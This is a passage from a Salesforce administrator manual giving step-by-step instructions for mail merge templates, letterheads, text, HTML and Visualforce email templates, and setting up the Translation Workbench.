To upload mail merge templates: “Manage Public Templates”
To edit mail merge templates: “Manage Public Templates”

1. Open a new blank document in Microsoft Word 2002, 2003, or 2007.


2. Use Word to compose the document so it contains the text, data, and formatting your users require.
3. Locate the text or data variables in your Word document that will change each time the template is used. For example, in
the salutation “Dear Bob,” “Bob” is a variable because it will change when the letter is sent to a different person.
4. Replace each variable with the appropriate Salesforce.com merge field:

• If you have Connect for Office, you can use Word integration to insert merge fields quickly.
• If you do not have Connect for Office:

a. Place your cursor where you want to insert a merge field.


b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert
tab on the Ribbon, click Quick Parts in the Text group, and then click Field.
c. Select Mail Merge in the Categories drop-down list.
d. Select MergeField in the Field names box.
e. In the Field Properties area of the Field name box, manually enter the valid Salesforce.com merge field, such as
Opportunity_LineItem_ProductName.
f. Click OK.

Note: To list information about all products associated with an opportunity, insert the
Opportunity_LineItem_Start merge field where you want to begin listing product information. Then,
insert all the merge fields you want to include for each product on an opportunity. Finally, insert the
Opportunity_LineItem_End to end the list.

5. Save your Word document.


6. Proceed to Uploading Mail Merge Templates to Salesforce.com on page 105.

Tip: For best results:

• Do not configure mail merge templates as “protected” or “restricted access” in Microsoft Word. Please refer to
Word's help for information about protected Word documents. (In Word, press F1 to open help.)
• Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please
refer to Word's help for information about restoring mail merge documents to what Word calls “normal Word
documents.”

103
Administration Setup Managing Mail Merge Templates

For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge
Templates.

See Also:
Managing Mail Merge Templates
Mail Merge Overview
Force.com Connect for Microsoft Office® Overview

Modifying Existing Mail Merge Templates


Available in: All Editions

User Permissions Needed


To upload mail merge templates: “Manage Public Templates”
To edit mail merge templates: “Manage Public Templates”

1. Download the sample mail merge templates and unzip the files to a convenient directory on your hard drive.
2. Review the instructions provided in salesforce_mailmerge_templates_howto.doc.
3. Open the desired sample template in Microsoft Word.
4. Save a copy of the sample template to your computer's desktop or other convenient location:

• Word 2000, XP, and 2003 users, select Save As from the File menu then choose an appropriate file name and destination
folder.
• Word 2007 users, select Save As from the Office button then choose an appropriate file name and destination folder.

5. Optionally, customize the text and formatting of the template.


6. Press ALT+F9 to display the hidden mail merge field codes.
Each of the mail merge fields should now appear in curly braces as follows: {MERGEFIELD Contact_FullName \*
MERGEFORMAT}
7. Change or add merge fields as necessary.

• If you have Connect for Office, you can use Word integration to insert merge fields quickly.
• If you do not have Connect for Office:

a. Place your cursor where you want to insert a merge field.


b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert
tab on the Ribbon, click Quick Parts in the Text group, and then click Field.
c. Select Mail Merge in the Categories drop-down list.
d. Select MergeField in the Field names box.
e. In the Field Properties area of the Field name box, manually enter the valid Salesforce.com merge field, such as
Opportunity_LineItem_ProductName.

104
Administration Setup Managing Mail Merge Templates

f. Click OK.

Note: To list information about all products associated with an opportunity, insert the
Opportunity_LineItem_Start merge field where you want to begin listing product information. Then,
insert all the merge fields you want to include for each product on an opportunity. Finally, insert the
Opportunity_LineItem_End to end the list.

8. Save your Word document.


9. Proceed to Uploading Mail Merge Templates to Salesforce.com on page 105.

Tip: For best results:

• Do not configure mail merge templates as “protected” or “restricted access” in Microsoft Word. Please refer to
Word's help for information about protected Word documents. (In Word, press F1 to open help.)
• Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please
refer to Word's help for information about restoring mail merge documents to what Word calls “normal Word
documents.”
For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge
Templates.

See Also:
Managing Mail Merge Templates
Merge Fields Overview
Mail Merge Overview
Force.com Connect for Microsoft Office® Overview

Uploading Mail Merge Templates to Salesforce.com


Available in: All Editions

User Permissions Needed


To upload mail merge templates: “Manage Public Templates”
To edit mail merge templates: “Manage Public Templates”

Administrators and users with the “Manage Public Templates” permission must upload completed Microsoft Word mail
merge templates to Salesforce.com to make them available for use.
Tip: Before uploading a template, we recommend reviewing Guidelines for Uploading Mail Merge Templates.

1. In Salesforce.com, click Setup ➤ Communication Templates ➤ Mail Merge Templates.


2. Click New Template.

105
Administration Setup Using Letterheads

3. Enter a name and description for the template. This will help users correctly choose a template when generating mail
merge documents.
If your organization uses Extended Mail Merge, choose the appropriate document type: Document, Label, or Envelope.
Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in this
feature.
4. Click Browse to select your Word mail merge template.
5. Click Save to finish.

See Also:
Managing Mail Merge Templates
Merge Fields Overview
Mail Merge Overview

Using Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change letterheads: “Manage Letterheads”

A letterhead defines the logo, page color, and text settings for your HTML email templates. For best results, create a single
letterhead to use for all your HTML email templates. You can create letterheads and make them available organization-wide.
To use letterheads, click Setup ➤ Communication Templates ➤ Letterheads.
From the Letterheads list page:

• To view a letterhead, select the name from the list.


• To edit a letterhead, click the name from the list and choose one of the edit options: Edit Properties or Edit Letterhead.
• To delete a letterhead, click Del next to the name. You cannot delete a letterhead that is used in any HTML email templates.

See Also:
Creating Letterheads
Letterhead Fields

106
Administration Setup Using Letterheads

Creating Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change letterheads: “Manage Letterheads”

Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo, color,
and text settings from a letterhead. A letterhead consists of properties and details. The properties are only visible inside your
organization; they help users identify a letterhead. The details are applied to an email when using that letterhead. Use the
letterhead wizard to create both the properties and details of your letterhead.
1. Click Setup ➤ Communication Templates ➤ Letterheads.
2. Click New Letterhead.

Setting Letterhead Properties


1. Check Available For Use if you would like users to be able to use the new letterhead immediately.
2. Enter a Letterhead Label. The label is used to refer to the letterhead on user interface pages.
3. If necessary, change the Letterhead Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Letterhead
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
4. Enter a description for this letterhead. The name and description fields are for internal use only to describe the letterhead
to other users.
5. Click Save. The letterhead detail page appears.

Setting Letterhead Details


1. Set the attributes for the letterhead.
• Click Edit Background Color, and enter a color for the background of your letterhead. Click the color picker button
to choose a color.
• Click Edit Header Properties, and select the color, alignment, and height for the top section of the letterhead.
• Click Select Logo to include an image of your company logo in the top or bottom section of the letterhead. To select
an image, choose a folder, and click the document name to attach the document. Alternatively, click Search in
Documents, and enter the file name to search for documents by name. Make sure the document you select is marked
as Externally Available on the Documents tab so that a user who does not have a Salesforce.com username and
password can view the image when it is received in an email.
• Click Remove Logo to delete the image from the letterhead.
• Click Edit Top Line, and enter a color and height for a horizontal line below the header. Click the color picker button
to choose a color.
• Click Edit Body Colors, and enter the background color for the main body of your letterhead.
• Click Edit Middle Line, and enter a color and height for the middle border in your letterhead. Click the color picker
button to choose a color.

107
Administration Setup Using Letterheads

• Click Edit Footer Properties, and select a color, alignment, and height for the bottom section of the letterhead.
• Click Edit Bottom Line, and select a color and height of a bottom horizontal line. Click the color picker button to
choose a color.

2. Optionally, click Preview to display the letterhead in a separate browser window.


3. Click Save.
To create an HTML email template that contains the settings in your letterhead, see Creating HTML Email Templates on
page 113.

See Also:
Managing Email Templates
Creating Custom HTML Email Templates

Letterhead Fields
Here is a description, in alphabetical order, of the fields that appear on the Letterhead Detail page.

Field Description
Available For Use Check mark that indicates the letterhead can be applied to an
HTML template.
Created By Name of the user who created the letterhead, including the
date and time.
Description Text that helps distinguish this letterhead from others.
Letterhead Label Internal name to identify the letterhead.
Letterhead Unique Name This is a unique name used to refer to the component when
using the Force.com API. In managed packages, this unique
name prevents naming conflicts on package installations. This
name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.
With the Letterhead Unique Name field, a developer can
change certain components' names in a managed package and
the changes are reflected in a subscriber's organization.
Modified By Name of the user who last modified the letterhead, including
the date and time.

108
Administration Setup Managing Email Templates

Field Description
Namespace Prefix The namespace prefix used by the email template within the
API.

See Also:
Creating Letterheads

Managing Email Templates


Available in: All Editions
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates: “Edit HTML Templates”
To create or change Visualforce email templates: “Customize Application”
To create or change public email template folders: “Manage Public Templates”

You can create four different types of email templates:

• Text - All users can create or change text email templates. See Creating Text Email Templates on page 111.
• HTML with letterhead - Administrators and users with the “Edit HTML Templates” permission can create HTML
email templates based on a letterhead. See Creating HTML Email Templates on page 113.
• Custom HTML - Administrators and users with the “Edit HTML Templates” permission can create custom HTML
email templates without using a letterhead. You must either know HTML or obtain the HTML code to insert in your
email template. See Creating Custom HTML Email Templates on page 118.
• Visualforce - Administrators and developers can create templates using Visualforce. Visualforce email templates allow for
advanced merging with a recipient's data, where the content of a template can contain information from multiple records,
see Creating Visualforce Email Templates.

All of these email templates can include text, merge fields, and attached files. You can use email templates when you send an
email from the Activity History related list of a record. Text and HTML templates can also be used when you send mass
email. A button to check the spelling of your template is available for text templates and Visualforce templates without HTML
tags.
Note: You cannot send a mass email using a Visualforce email template.

To manage your personal email templates, click Setup ➤ Email ➤ My Templates. If you have permission to manage public
email templates, click Setup ➤ Communication Templates ➤ Email Templates.

109
Administration Setup Managing Email Templates

• Click on the name of any email template to go to the Viewing Email Templates page.
• To edit or delete a template, click Edit or Del next to the template name in the list.
• Click New Template to create any type of email template.

Note: Email templates used in the following features must be both public and active:

• Web-to-Lead
• Web-to-Case
• Email-to-Case or On-Demand Email-to-Case
• Assignment rules
• Escalation rules
• Auto-response rules

See Also:
Cloning Email Templates
Using Letterheads
Developer's Guide: Visualforce Developer's Guide
Administrator tip sheet: Tips for Using HTML Email Templates

Viewing Email Templates


Available in: All Editions
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates: “Edit HTML Templates”
To create or change Visualforce email templates: “Customize Application”
To create or change public email template folders: “Manage Public Templates”

To view a template, click the template name in the list. The options vary depending on the template type (custom, HTML,
Visualforce, or text):

• For text templates, click Edit to change the message content, subject, or merge fields.
• For custom and HTML templates:

- Click Edit HTML Version to change the content or merge fields of the HTML version.
Note: All custom and HTML email templates include a text-only version for recipients who are unable to
read HTML emails. If you leave the text-only version blank, the text-only version is automatically generated
when you edit the HTML version.

110
Administration Setup Managing Email Templates

- Click Edit Text Version to change the content or merge fields of the text-only version.
Note: Salesforce.com recommends that you leave the text-only version blank. When you leave the text-only
version blank, Salesforce.com automatically creates the text-only content based on the current HTML version.
If you choose not to leave the text-only version blank and instead manually create a text-only version, edits to
the HTML version are not reflected in the text-only version.

• For Visualforce templates:

- Click Edit Template to change the markup of the template page.


- Click Preview to view a sample of the template markup populated with data from your records. You can also send an
email preview.
- The Visualforce Attachments related list indicates which attachments are being generated through Visualforce markup.
- If the Visualforce markup references components in installed managed packages, such as another class, a trigger, a
custom object, and so on, the Version Settings related list shows the package versions of the installed managed packages
containing the referenced components.

• Click Attach File from the Attachments related list to add an attachment to the template. The attached file is included
in every email that uses the template.
To select a file:

- Click the Search in Documents link to search for files in the Documents tab. If you select an image logo or other
graphic file, make sure the document is marked as Externally Available on the Documents tab so all email
recipients can view the image.
- Alternatively, choose an option from the File Location drop-down list to select a file from your computer or from a
document folder.

• If you have the “Manage Public Templates” permission, you can click [Change] next to the Author field to select a
different author. Initially, the author is the person who created the email template.
• Click Delete to remove the template.
• Click Clone to clone a template. For more information, see Cloning Email Templates on page 119.
• If “Developer Mode” is enabled, click Show Dependencies to see what components the template references. For more
information, see Understanding Dependencies on page 923.

See Also:
Managing Email Templates
Email Template Fields
Managing Version Settings for Visualforce Email Templates

Creating Text Email Templates


To create a text email template:

1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose the Text template type, and click Next.

111
Administration Setup Managing Email Templates

4. Choose a folder in which to store the template.


5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description for the template. Both template name and description are for internal use only.
10. Enter the Subject for the message.
11. Enter the text to appear in the message.
12. Optionally, enter merge fields in the template subject and text body. These fields will be replaced with information from
your records when you send an email. For details about using merge fields, see Merge Fields Overview on page 100.
13. Click Save.

Attaching Files to Templates


To add an attachment to a template:
1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Select a template.
3. Click Attach File from the email template detail page.
4. Choose a folder and click the document name to attach the document, or click Search in Documents and enter the file
name to search for a document by name.
Alternatively, click My Computer to attach a file from your computer.

The attached file is included in every email that uses the template. Note that attachments in mass emails are sent as links
rather than as physical files (see Sending Mass Email on page 1527).

See Also:
Managing Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Cloning Email Templates

112
Administration Setup Managing Email Templates

Creating HTML Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Mass email not available in: Personal, Contact Manager, and Group Editions

User Permissions Needed


To create or change HTML email templates: “Edit HTML Templates”
To create or change public email template folders: “Manage Public Templates”

To create an HTML email template:


1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose HTML (using Letterhead) and click Next.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select a Letterhead. The letterhead decides the logo, page color, and text settings of your email.
9. Select the Email Layout. The email layout determines the columns and page layout of the message text. Click View
Email Layout Options to see samples.
10. Select an Encoding setting to determine the character set for the template.
11. Enter a Description of the template. Both template name and description are for your internal use only. The description
is used as the title of any email activities you log when sending mass email.
12. Click Next.
13. Enter the Subject to appear in the email you send.
14. Enter the text to appear in the message you send. Click any section and begin entering text for your message. To prevent
users from editing a section when using this template, click the padlock icon.
15. Change the style of your text by selecting the text and using the format toolbar. See Using the Format Toolbar on page
117 for instructions on the format toolbar.
16. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your
lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see
Merge Fields Overview on page 100.
17. Click Next.
18. Enter the text-only version of your email. This will be available to recipients of your email that cannot read HTML. Click
Copy text from HTML version to automatically paste the text from your HTML version without the HTML tags.

113
Administration Setup Managing Email Templates

19. Click Save.

See Also:
Creating Text Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Cloning Email Templates
Creating Letterheads
Cloning Email Templates

Creating Visualforce Email Templates


Available in: Contact Manager, Group, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change Visualforce email templates: “Customize Application”
To create or change public email template folders: “Manage Public Templates”

To create a Visualforce email template:

1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose Visualforce and click Next.
You cannot send a mass email using a Visualforce email template..
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description of the template. Both template name and description are for your internal use only.
10. Enter the subject line for your template in Email Subject.
11. In the Recipient Type drop-down list, select the type of recipient that will receive the email template.
12. In the Related To Type drop-down list, optionally select the object from which the template will retrieve merge field
data.
13. Click Save.

114
Administration Setup Managing Email Templates

14. On the Viewing Email Templates page, click Edit Template.


15. Enter markup text for your Visualforce email template.
16. Click Version Settings to specify the version of Visualforce and the API used with this email template. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use with this email template. Generally, you should use the default value for all versions. This associates the email template
with the most recent version of Visualforce, the API, as well as each managed package. You can specify an older version
of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you
want to access components or functionality that differs from the most recent package version.
17. Click Save to save your changes and view the details of the template, or click Quick Save to save your changes and continue
editing your template. Your Visualforce markup must be valid before you can save your template.
Note: The maximum size of a Visualforce email template is 1 MB.
You cannot send a mass email using a Visualforce email template. The merge fields
{!Receiving_User.field_name} and {!Sending_User.field_name} work only for mass email and are
unavailable in Visualforce email templates.

See Also:
Visualforce Overview
Managing Version Settings for Visualforce Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Viewing Email Templates
Cloning Email Templates
Creating Letterheads
Cloning Email Templates
Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Visualforce Email Templates


Available in: Contact Manager, Group, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set version settings for Visualforce email templates: “Customize Application”

To aid backwards-compatibility, each Visualforce email template is saved with version settings for the specified version of
Visualforce and the API. If the Visualforce email template references installed managed packages, the version settings for each
managed package referenced by the Visualforce component are saved too. This ensures that as Visualforce, the API and the
components in managed packages evolve in subsequent versions, a Visualforce email template is still bound to versions with
specific, known behavior.

115
Administration Setup Managing Email Templates

A package version is a set of components uploaded in a package. It is denoted by a version number that has the format
majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create
a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
To set the Salesforce.com API and Visualforce version for an existing Visualforce email template:

1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click the Email Template Name for the Visualforce email template.
3. Click Edit Template and then click Version Settings.
4. Select the Version of the Salesforce.com API. This is also the version of Visualforce used with this template.
5. Click Save.

To configure the package version settings for a Visualforce email template:


1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click the Email Template Name for the Visualforce email template.
3. Click Edit Template and then click Version Settings.
4. Select a Version for each managed package referenced by the Visualforce email template. This version of the managed
package will continue to be used by the Visualforce email template if later versions of the managed package are installed,
unless you manually update the version setting. To add an installed managed package to the settings list, select a package
from the list of available packages. The list is only displayed if you have an installed managed package that is not already
associated with the Visualforce email template.
5. Click Save.

Note the following when working with package version settings:

• If you save a Visualforce email template that references a managed package without specifying a version of the managed
package, the Visualforce email template is associated with the latest installed version of the managed package by default.
• You cannot Remove a Visualforce email template's version setting for a managed package if the package is referenced by
the Visualforce email template.

See Also:
Creating Visualforce Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Viewing Email Templates
Cloning Email Templates
Cloning Email Templates
Developer's Guide: Visualforce Developer's Guide

116
Administration Setup Managing Email Templates

Using the Format Toolbar


Use the formatting toolbar to edit text in HTML. Select the text you wish to format and click the appropriate option described
below:

Option Description
Font Choose a character style. Select the text you want applied to a font and then choose the appropriate
font.
Size Choose a character size. Select the text you want applied to the size and then choose the size.
Insert a graphic from the documents library. This option is not available when doing some actions
such as creating custom home page components.
Choose a background color

Choose a font color

Make text bold

Make text italic

Underline text

Insert a new hyperlink or edit an existing link. Select the text you want to link, click this button,
and enter the URL for the link. To use a merge field such as {!Case_Link} as the destination of
the link, insert the merge field after the http://.
Left justify text

Center text

Right justify text

Bullet a list

Number a list

Increase text indent

Decrease text indent

117
Administration Setup Managing Email Templates

Creating Custom HTML Email Templates


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Mass email not available in: Personal, Contact Manager, and Group Editions

User Permissions Needed


To create or change custom HTML email templates: “Edit HTML Templates”
To create or change public email template folders: “Manage Public Templates”

To create a custom HTML email template:


1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose Custom (without using Letterhead) and click Next.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description of the template. Both template name and description are for your internal use only. The description
is used as the title of any email activities you log when sending mass email.
10. Click Next.
11. Enter the Subject to appear in the email you send.
12. Enter the HTML source text to appear in the message you send. This should include all the HTML tags.
13. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your
lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see
Merge Fields Overview on page 100.
14. Click Next.
15. Optionally, enter a text-only version of your email. This will be available to recipients of your email that cannot read
HTML. Click Copy text from HTML version to automatically paste the text from your HTML version without the
HTML tags.
Note: Salesforce.com recommends that you leave the text-only version blank. When you leave the text-only version
blank, Salesforce.com automatically creates the text-only content based on the current HTML version. If you
choose not to leave the text-only version blank and instead manually create a text-only version, edits to the HTML
version are not reflected in the text-only version.

118
Administration Setup Managing Email Templates

16. Click Save.

Note: Users cannot modify the content of a custom HTML template when they select it for use in an email.

See Also:
Creating Text Email Templates
Creating HTML Email Templates
Creating Visualforce Email Templates
Creating Letterheads
Cloning Email Templates

Cloning Email Templates

Available in: All Editions


Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates: “Edit HTML Templates”
To create or change Visualforce email templates: “Customize Application”
To create or change public email template folders: “Manage Public Templates”

Cloning an email template involves saving an existing email template with a new name. To clone an email template:

1. To manage your personal email templates, click Setup ➤ Email ➤ My Templates. If you have permission to manage
public email templates, click Setup ➤ Communication Templates ➤ Email Templates.
2. Click the name of an email template in the list.
3. Click Clone.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. Enter a Description for the template. Both template name and description are for internal use only.

119
Administration Setup Managing Email Templates

8. Click Save.

See Also:
Managing Email Templates
Creating HTML Email Templates
Creating Text Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates

Email Template Fields


An email template has the following fields, listed in alphabetical order.

Field Description
API Version (Visualforce email templates only) Displays the version number
of the Force.com API the template was created under.
Author The person who created the template.
Available for Use Indicates if users can use the template when sending emails.
Created By The name of the user who created the template.
Description Description of the template. This text is used as the title of
any activities logged when sending mass email. The Activity
History item displays as “Mass Email: {Template
Description}”.
Template Unique Name This is a unique name used to refer to the component when
using the Force.com API. In managed packages, this unique
name prevents naming conflicts on package installations. This
name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.
With the Template Unique Name field, a developer can
change certain components' names in a managed package and
the changes are reflected in a subscriber's organization.
Email Layout (HTML email templates only) Name of the column layout
sample that decides the text columns.
Encoding Indicates the character set for the email template.
Folder The place where the template is stored.
Last Used Date The most recent date that any user sent an email using the
template.

120
Administration Setup Setting Up Translation Workbench

Field Description
Letterhead (HTML email templates only) Name of the letterhead that
decides the logo, colors, and text settings. See Letterhead
Fields on page 108 for more details.
Modified By The name of the user who last modified the template.
Namespace Prefix The namespace prefix used by the email template within the
API.
Subject Subject of the email. This text appears in the Subject field of
every email sent with this template. It is also used as the title
of an activity logged when sending a single email. The Activity
History item displays as “Email: {Template Subject}”. The
subject is not stored in Activity History items that you log
when sending mass email.
Email Template Name Name to identify the template.
Text Body Body of the email. This text appears in the body of every email
sent with this template.
Times Used The total number of times that users have sent emails using
the selected template. This includes single and mass emails.

See Also:
Managing Email Templates

Setting Up Translation Workbench


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or edit languages: “Manage Translation”
To assign translators: “Manage Translation”
To translate terms: “View Setup and Configuration”
AND
Be designated as a translator

Allow your users to work in the language they choose. Set up a translation workbench to add translated values for custom field
names, custom field help text, custom related lists, custom web tabs, picklist values, record types, page layout sections, solution
categories, data category groups, data categories, field validation error messages, custom app names, custom s-control labels,

121
Administration Setup Setting Up Translation Workbench

custom buttons and links, division names, Apex sharing reasons, workflow tasks subject and description, custom report type
names, section names on custom report type layouts, and column names displayed on the Select Columns page in the report
wizard for reports created from custom report types.
Note: To translate standard tab and field labels that you have renamed, see Renaming Tab and Field Labels on page
407.

The translation workbench also manages which users are responsible for translating different languages. Your translation
workbench can manage translated values for any language Salesforce.com supports.
Incorporating translated values is simple and completely invisible to your users. A user who selects French for a primary
language can view all translated values in French regardless of the corporate language. Any reports that user runs will provide
information in the user’s language.

How it works:
1. Add supported languages
2. Select translators for each language
3. Give the “View Setup and Configuration” permission to each translator
4. Translators enter translated terms
5. Activate the supported languages
Maintaining your translated values is simple. When an item in the corporate language is added or changed, the translation
workbench indicates the particular term is out of date and needs translating.
Note: To enable this feature for your organization, contact salesforce.com.

See Also:
Adding and Editing Translated Languages
Entering Translated Terms
Updating Translated Terms
Administrator tip sheet: Setting Up the Translation Workbench
Localizing with the Force.com IDE

Adding and Editing Translated Languages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or edit languages: “Manage Translation”

Use the translation workbench to add languages that you support, activate or deactivate a language, assign translators for that
language, and enter translated terms.

122
Administration Setup Setting Up Translation Workbench

To add or edit translated languages and translators:

1. Click Setup ➤ Translation Workbench ➤ Translation Workbench Setup.


2. Click Add to activate a new language. Click Edit to change an existing supported language.
3. If adding a new language, choose a language.
4. Check the Active box to activate this language. Deselect this box to make an existing language inactive.
Tip: Make a language active only after translators have translated all values. This option makes the translated
values available to users who have selected that language.

5. Select translators for this language. Choose a user from the Available List and click Add to add the user to the
Selected List.

Users can only translate for languages where they are a designated translator.
6. Click Save.

See Also:
Setting Up Translation Workbench

Entering Translated Terms


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To translate terms: “View Setup and Configuration”
AND
Be designated as a translator

Users with the required permission can enter translated terms for the languages that they are designated as translators.
To enter translated values:

1. Click Setup ➤ Translation Workbench and choose what you want to translate:

• Translate Custom Field Labels—For custom fields


• Translate Custom Field Help—For help text on custom fields
Note: Fields only appear in this list if they have help text defined.

• Translate Custom Related List Labels—For custom related lists.


• Translate Custom Button and Link Labels—For custom links and custom buttons.
• Translate Custom S-Control Labels—For s-controls.

123
Administration Setup Setting Up Translation Workbench

• Translate Custom Web Tabs—For custom web tab names.


• Translate Picklist Values—For standard and custom picklists and any picklists on related lists.
• Translate Record Types—For record type names.
• Translate Layout Sections—For page layout section titles.
• Translate Divisions—For division names, if your organization uses divisions.
• Translate Custom Apps—For custom app names in the Force.com app menu.
• Translate Custom Report Types—For custom report type names, section names on custom report type layouts, and
column names displayed on the Select Columns page in the report wizard for reports created from custom report types
• Translate Validation Error Messages—For error messages that display when a field fails a validation rule.
• Translate Solution Categories—For solution categories, if your organization uses solution categories.
• Translate Apex Sharing Reasons—For Apex sharing reasons.
• Translate workflow task subject and descriptions—For workflow tasks, the subject field and the comments field in
the Description Information section. If the subject was translated, Salesforce.com creates the task in the assignee's
language. If the subject was translated, and if you checked Notify Assignee for the task, Salesforce.com sends the email
in the assignee's language. However, if only the comments field was translated, Salesforce.com creates the task and
sends the email in the language of the user who triggered the task.
• Translate Data Category Groups—For data category groups, if your organization uses Data Category Groups and
Data Categories.
• Translate Data Categories—For data categories, if your organization uses Data Category Groups and Data Categories.

2. Select the language and type of record to see a list of terms available for translation. The Out of Date column indicates
that the element has been updated and the term may need translating.
3. If you are editing picklist values, select the name of the picklist field. For picklist values, check Include Inactive
Values to show translations for deleted values. If you have more than 100 entries listed, click Next Page to view the next
100.
4. Click Edit.
5. Enter translated terms.
6. Click Save.

Updating Translated Terms


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To translate terms: “View Setup and Configuration”
AND
Be designated as a translator

When your administrator changes custom field names, custom field help text, custom related lists, custom web tabs, picklist
values, record types, page layout sections, solution categories, data category groups, data categories, field validation error
messages, custom app names, custom s-control labels, custom buttons and links, division names, Apex sharing reasons, workflow
tasks subject and description, custom report type names, section names on custom report type layouts, and column names

124
Administration Setup Setting Up Translation Workbench

displayed on the Select Columns page in the report wizard for reports created from custom report types, the translated value
